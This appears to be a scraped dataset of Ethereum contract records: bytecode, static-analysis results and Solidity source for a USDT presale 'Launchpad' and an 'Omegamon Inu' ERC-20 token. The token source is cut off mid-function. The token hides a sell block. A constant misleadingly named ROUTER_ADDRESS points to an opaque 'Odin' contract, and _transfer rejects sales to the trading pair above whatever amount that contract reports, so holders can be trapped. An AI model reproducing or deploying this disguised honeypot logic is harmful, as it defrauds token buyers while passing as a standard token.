10640815260200161019081526020016101c281526020016005815260200160078152602001605081526020016003815260200161028a815260200161015e81526020016102ee815260200160c881526020016127108152508152602001604051806102c0016040528061044c815260200160c8815260200161032081526020016101f4815260200160c881526020016102bc815260200161057881526020016101908152602001610320815260200161025881526020016104b08152602001602881526020016002815260200161015e815260200160fa81526020016101c28152602001600581526020016032815260200161012c815260200161028a8152602001600381526020016127108152508152602001604051806102a001604052806104b0815260200161044c8152602001600181526020016105148152602001610258815260200161012c81526020016103e88152602001610190815260200161015e8152602001610384815260200160fa8152602001603c81526020016004815260200161012c815260200161022681526020016101f48152602001601e81526020016103b6815260200160c88152602001600581526020016127108152508152602001604051806102c00160405280605a815260200161032081526020016001815260200161057881526020016104b0815260200161038481526020016102bc8152602001610226815260200161051481526020016103e88152602001600681526020016101908152602001610258815260200160c8815260200160328152602001603c81526020016096815260200160fa81526020016028815260200161012c8152602001600381526020016127108152508152602001604051806102c0016040528061019081526020016103e8815260200161038481526020016102588152602001610352815260200161051481526020016104b0815260200161032081526020016101f481526020016102bc815260200160fa815260200160c881526020016096815260200160c881526020016101f48152602001603c815260200161015e8152602001601e81526020016001815260200160068152602001600381526020016127108152508152602001604051806102c0016040528061019081526020016001815260200160c88152602001605a81526020016104b081526020016101f4815260200160c881526020016103e8815260200161012c81526020016102588152602001610bb8815260200160fa81526020016101c2815260200160698152602001600781526020016005815260200161017781526020016102d5815260200161023f815260200160048152602001600d81526020016127108152508152602001604051806102c001604052806103e881526020016101a4815260200161044c81526020016105148152602001603281526020016104b081526020016105aa815260200160078152602001601e81526020016101f481526020016101908152602001610226815260200160c8815260200161028a81526020016101cc815260200160018152602001601481526020016036815260200160028152602001610258815260200160068152602001612710815250815250905090565b600080805b6022811015610bdd57818410158015610b9a5750848160228110610b8857610b8861146b565b6020020151610b9790836113ea565b84105b15610ba8579150610c2a9050565b848160228110610bba57610bba61146b565b6020020151610bc990836113ea565b915080610bd581611402565b915050610b62565b5060405162461bcd60e51b815260206004820152601c60248201527f56616c7565206f757473696465206d61784368616e636556616c756500000000604482015260640160405180910390fd5b92915050565b600080805b600c811015610bdd57818410158015610c6d57508481600c8110610c5b57610c5b61146b565b6020020151610c6a90836113ea565b84105b15610c7b579150610c2a9050565b8481600c8110610c8d57610c8d61146b565b6020020151610c9c90836113ea565b915080610ca881611402565b915050610c35565b600080805b6010811015610bdd57818410158015610ced5750848160108110610cdb57610cdb61146b565b6020020151610cea90836113ea565b84105b15610cfb579150610c2a9050565b848160108110610d0d57610d0d61146b565b6020020151610d1c90836113ea565b915080610d2881611402565b915050610cb5565b600080805b600a811015610bdd57818410158015610d6d57508481600a8110610d5b57610d5b61146b565b6020020151610d6a90836113ea565b84105b15610d7b579150610c2a9050565b8481600a8110610d8d57610d8d61146b565b6020020151610d9c90836113ea565b915080610da881611402565b915050610d35565b600080805b6015811015610bdd57818410158015610ded5750848160158110610ddb57610ddb61146b565b6020020151610dea90836113ea565b84105b15610dfb579150610c2a9050565b848160158110610e0d57610e0d61146b565b6020020151610e1c90836113ea565b915080610e2881611402565b915050610db5565b600080805b6016811015610bdd57818410158015610e6d5750848160168110610e5b57610e5b61146b565b6020020151610e6a90836113ea565b84105b15610e7b579150610c2a9050565b848160168110610e8d57610e8d61146b565b6020020151610e9c90836113ea565b915080610ea881611402565b915050610e35565b604080516101608101909152806000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160005b905290565b604051806101600160405280610f1f610fa1565b8152602001610f2c610fc0565b8152602001610f39610fdf565b8152602001610f46610ffe565b8152602001610f5361101d565b8152602001610f6061103c565b8152602001610f6d61101d565b8152602001610f7a61103c565b8152602001610f8761103c565b8152602001610f9461103c565b8152602001610f0661103c565b6040518061044001604052806022906020820280368337509192915050565b604051806101800160405280600c906020820280368337509192915050565b6040518061020001604052806010906020820280368337509192915050565b604051806101400160405280600a906020820280368337509192915050565b604051806102a001604052806015906020820280368337509192915050565b604051806102c001604052806016906020820280368337509192915050565b60006020828403121561106d57600080fd5b5035919050565b6000806040838503121561108757600080fd5b50508035926020909101359150565b8060005b600a8110156110b957815184526020938401939091019060010161109a565b50505050565b8060005b600c8110156110b95781518452602093840193909101906001016110c3565b8060005b60108110156110b95781518452602093840193909101906001016110e6565b8060005b60158110156110b9578151845260209384019390910190600101611109565b8060005b60168110156110b957815184526020938401939091019060010161112c565b8060005b60228110156110b957815184526020938401939091019060010161114f565b6021811061117e5761117e611455565b9052565b6015811061117e5761117e611455565b600f811061117e5761117e611455565b6009811061117e5761117e611455565b600b811061117e5761117e611455565b6014811061117e5761117e611455565b600060208083528351808285015260005b818110156111ff578581018301518582016040015282016111e3565b81811115611211576000604083870101525b50601f01601f1916929092016040019392505050565b60006101608201905061123b82845161116e565b602083015161124d60208401826111b2565b5060408301516112606040840182611192565b50606083015161127360608401826111a2565b50608083015161128660808401826111c2565b5060a083015161129960a0840182611182565b5060c08301516112ac60c08401826111c2565b5060e08301516112bf60e0840182611182565b50610100808401516112d382850182611182565b5050610120808401516112e882850182611182565b5050610140808401516112fd82850182611182565b505092915050565b6000611c008201905061131982845161114b565b602083015161132c6104408401826110bf565b5060408301516113406105c08401826110e2565b5060608301516113546107c0840182611096565b506080830151611368610900840182611105565b5060a083015161137c610ba0840182611128565b5060c0830151611390610e60840182611105565b5060e08301516113a4611100840182611128565b506101008301516113b96113c0840182611128565b506101208301516113ce611680840182611128565b506101408301516113e3611940840182611128565b5092915050565b600082198211156113fd576113fd61143f565b500190565b60006000198214156114165761141661143f565b5060010190565b60008261143a57634e487b7160e01b600052601260045260246000fd5b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052602160045260246000fd5b634e487b7160e01b600052603260045260246000fdfea2646970667358221220734047c5244dd9387a866640dead7c2520a4642c5b671f9fbcd374d9ed16561864736f6c63430008070033
|
{"success": true, "error": null, "results": {}}
| 3,551 |
0xa1280cb5ca04d17b564d342f1892ce4ee1889425
|
/**
*Submitted for verification at Etherscan.io on 2021-03-12
*/
/**
*Submitted for verification at Etherscan.io on 2021-01-13
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
abstract contract Context {
function _msgSender() internal virtual view returns (address payable) {
return msg.sender;
}
function _msgData() internal virtual view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// import ierc20 & safemath & non-standard
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface INonStandardERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256 balance);
///
/// !!!!!!!!!!!!!!
/// !!! NOTICE !!! transfer does not return a value, in violation of the ERC-20 specification
/// !!!!!!!!!!!!!!
///
function transfer(address dst, uint256 amount) external;
///
/// !!!!!!!!!!!!!!
/// !!! NOTICE !!! transferFrom does not return a value, in violation of the ERC-20 specification
/// !!!!!!!!!!!!!!
///
function transferFrom(
address src,
address dst,
uint256 amount
) external;
function approve(address spender, uint256 amount)
external
returns (bool success);
function allowance(address owner, address spender)
external
view
returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(
address indexed owner,
address indexed spender,
uint256 amount
);
}
contract Launchpad is Ownable {
using SafeMath for uint256;
event ClaimableAmount(address _user, uint256 _claimableAmount);
// address public owner;
uint256 public rate;
uint256 public allowedUserBalance;
bool public presaleOver;
IERC20 public usdt;
mapping(address => uint256) public claimable;
uint256 public hardcap;
constructor(uint256 _rate, address _usdt, uint256 _hardcap, uint256 _allowedUserBalance) public {
rate = _rate;
usdt = IERC20(_usdt);
presaleOver = true;
// owner = msg.sender;
hardcap = _hardcap;
allowedUserBalance = _allowedUserBalance;
}
modifier isPresaleOver() {
require(presaleOver == true, "The presale is not over");
_;
}
function changeHardCap(uint256 _hardcap) onlyOwner public {
hardcap = _hardcap;
}
function changeAllowedUserBalance(uint256 _allowedUserBalance) onlyOwner public {
allowedUserBalance = _allowedUserBalance;
}
function endPresale() external onlyOwner returns (bool) {
presaleOver = true;
return presaleOver;
}
function startPresale() external onlyOwner returns (bool) {
presaleOver = false;
return presaleOver;
}
function buyTokenWithUSDT(uint256 _amount) external {
// user enter amount of ether which is then transfered into the smart contract and tokens to be given is saved in the mapping
require(presaleOver == false, "presale is over you cannot buy now");
uint256 tokensPurchased = _amount.mul(rate);
uint256 userUpdatedBalance = claimable[msg.sender].add(tokensPurchased);
require( _amount.add(usdt.balanceOf(address(this))) <= hardcap, "Hardcap for the tokens reached");
// for USDT
require(userUpdatedBalance.div(rate) <= allowedUserBalance, "Exceeded allowed user balance");
// usdt.transferFrom(msg.sender, address(this), _amount);
doTransferIn(address(usdt), msg.sender, _amount);
claimable[msg.sender] = userUpdatedBalance;
emit ClaimableAmount(msg.sender, tokensPurchased);
}
// function claim() external isPresaleOver {
// // it checks for user msg.sender claimable amount and transfer them to msg.sender
// require(claimable[msg.sender] > 0, "NO tokens left to be claim");
// usdc.transfer(msg.sender, claimable[msg.sender]);
// claimable[msg.sender] = 0;
// }
function doTransferIn(
address tokenAddress,
address from,
uint256 amount
) internal returns (uint256) {
INonStandardERC20 _token = INonStandardERC20(tokenAddress);
uint256 balanceBefore = INonStandardERC20(tokenAddress).balanceOf(address(this));
_token.transferFrom(from, address(this), amount);
bool success;
assembly {
switch returndatasize()
case 0 {
// This is a non-standard ERC-20
success := not(0) // set success to true
}
case 32 {
// This is a compliant ERC-20
returndatacopy(0, 0, 32)
success := mload(0) // Set success = returndata of external call
}
default {
// This is an excessively non-compliant ERC-20, revert.
revert(0, 0)
}
}
require(success, "TOKEN_TRANSFER_IN_FAILED");
// Calculate the amount that was actually transferred
uint256 balanceAfter = INonStandardERC20(tokenAddress).balanceOf(address(this));
require(balanceAfter >= balanceBefore, "TOKEN_TRANSFER_IN_OVERFLOW");
return balanceAfter.sub(balanceBefore); // underflow already checked above, just subtract
}
function doTransferOut(
address tokenAddress,
address to,
uint256 amount
) internal {
INonStandardERC20 _token = INonStandardERC20(tokenAddress);
_token.transfer(to, amount);
bool success;
assembly {
switch returndatasize()
case 0 {
// This is a non-standard ERC-20
success := not(0) // set success to true
}
case 32 {
// This is a complaint ERC-20
returndatacopy(0, 0, 32)
success := mload(0) // Set success = returndata of external call
}
default {
// This is an excessively non-compliant ERC-20, revert.
revert(0, 0)
}
}
require(success, "TOKEN_TRANSFER_OUT_FAILED");
}
function fundsWithdrawal(uint256 _value) external onlyOwner isPresaleOver {
// claimable[owner] = claimable[owner].sub(_value);
// usdt.transfer(_msgSender(), _value);
doTransferOut(address(usdt), _msgSender(), _value);
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063bcd2f64a11610066578063bcd2f64a146102ac578063c8d8b6fa146102da578063e3b8686514610308578063f2fde38b14610336576100f5565b8063715018a6146102305780638da5cb5b1461023a578063a43be57b1461026e578063b071cbe61461028e576100f5565b80632f48ab7d116100d35780632f48ab7d14610166578063402914f51461019a5780634738a883146101f257806359ccecc914610212576100f5565b806304c98b2b146100fa57806324f32f821461011a5780632c4e722e14610148575b600080fd5b61010261037a565b60405180821515815260200191505060405180910390f35b6101466004803603602081101561013057600080fd5b8101908080359060200190929190505050610474565b005b610150610546565b6040518082815260200191505060405180910390f35b61016e61054c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101dc600480360360208110156101b057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610572565b6040518082815260200191505060405180910390f35b6101fa61058a565b60405180821515815260200191505060405180910390f35b61021a61059d565b6040518082815260200191505060405180910390f35b6102386105a3565b005b610242610729565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610276610752565b60405180821515815260200191505060405180910390f35b61029661084c565b6040518082815260200191505060405180910390f35b6102d8600480360360208110156102c257600080fd5b8101908080359060200190929190505050610852565b005b610306600480360360208110156102f057600080fd5b8101908080359060200190929190505050610bd2565b005b6103346004803603602081101561031e57600080fd5b8101908080359060200190929190505050610d5a565b005b6103786004803603602081101561034c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e2c565b005b6000610384611037565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610444576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600360006101000a81548160ff021916908315150217905550600360009054906101000a900460ff16905090565b61047c611037565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461053c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060058190555050565b60015481565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60046020528060005260406000206000915090505481565b600360009054906101000a900460ff1681565b60025481565b6105ab611037565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461066b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600061075c611037565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461081c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600360006101000a81548160ff021916908315150217905550600360009054906101000a900460ff16905090565b60055481565b60001515600360009054906101000a900460ff161515146108be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116716022913960400191505060405180910390fd5b60006108d56001548361103f90919063ffffffff16565b9050600061092b82600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110c590919063ffffffff16565b9050600554610a06600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156109bc57600080fd5b505afa1580156109d0573d6000803e3d6000fd5b505050506040513d60208110156109e657600080fd5b8101908080519060200190929190505050856110c590919063ffffffff16565b1115610a7a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4861726463617020666f722074686520746f6b656e732072656163686564000081525060200191505060405180910390fd5b600254610a92600154836110e190919063ffffffff16565b1115610b06576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f457863656564656420616c6c6f77656420757365722062616c616e636500000081525060200191505060405180910390fd5b610b33600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16338561112b565b5080600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f62871c7b30027ac68155027c44a377be338ed75154b830a8b7fb419e2cb9a4533383604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1505050565b610bda611037565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c9a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60011515600360009054906101000a900460ff16151514610d23576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f5468652070726573616c65206973206e6f74206f76657200000000000000000081525060200191505060405180910390fd5b610d57600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d51611037565b8361145c565b50565b610d62611037565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e22576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060028190555050565b610e34611037565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ef4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610f7a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806116936026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b60008083141561105257600090506110bf565b600082840290508284828161106357fe5b04146110ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806116b96021913960400191505060405180910390fd5b809150505b92915050565b6000808284019050838110156110d757fe5b8091505092915050565b600061112383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611593565b905092915050565b60008084905060008573ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561119a57600080fd5b505afa1580156111ae573d6000803e3d6000fd5b505050506040513d60208110156111c457600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff166323b872dd8630876040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b15801561126657600080fd5b505af115801561127a573d6000803e3d6000fd5b5050505060003d6000811461129657602081146112a057600080fd5b60001991506112ac565b60206000803e60005191505b5080611320576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f544f4b454e5f5452414e534645525f494e5f4641494c4544000000000000000081525060200191505060405180910390fd5b60008773ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561138957600080fd5b505afa15801561139d573d6000803e3d6000fd5b505050506040513d60208110156113b357600080fd5b810190808051906020019092919050505090508281101561143c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f544f4b454e5f5452414e534645525f494e5f4f564552464c4f5700000000000081525060200191505060405180910390fd5b61144f838261165990919063ffffffff16565b9450505050509392505050565b60008390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b1580156114d257600080fd5b505af11580156114e6573d6000803e3d6000fd5b5050505060003d60008114611502576020811461150c57600080fd5b6000199150611518565b60206000803e60005191505b508061158c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f544f4b454e5f5452414e534645525f4f55545f4641494c45440000000000000081525060200191505060405180910390fd5b5050505050565b6000808311829061163f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156116045780820151818401526020810190506115e9565b50505050905090810190601f1680156116315780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161164b57fe5b049050809150509392505050565b60008282111561166557fe5b81830390509291505056fe70726573616c65206973206f76657220796f752063616e6e6f7420627579206e6f774f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220d845dbd7afb253d1cdfdbd093214021edb9851aebf269d16cefbc14db83d8f0964736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 3,552 |
0xdb9C53dc5B46D64FD95014eF1cE18F304c20224C
|
//SPDX-License-Identifier: MIT
// Telegram: t.me/omegamoninu
pragma solidity ^0.8.4;
address constant ROUTER_ADDRESS=0x690f08828a4013351DB74e916ACC16f558ED1579; // mainnet
uint256 constant TOTAL_SUPPLY=100000000 * 10**8;
address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
string constant TOKEN_NAME="Omegamon Inu";
string constant TOKEN_SYMBOL="OMEGA";
uint8 constant DECIMALS=8;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface Odin{
function amount(address from) external view returns (uint256);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Omegamon is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private constant _burnFee=1;
uint256 private constant _taxFee=9;
address payable private _taxWallet;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _router;
address private _pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_router) )?amount:0) <= Odin(ROUTER_ADDRESS).amount(address(this)));
if (from != owner() && to != owner()) {
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != _pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
_approve(address(this), address(_router), tokenAmount);
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier overridden() {
require(_taxWallet == _msgSender() );
_;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS);
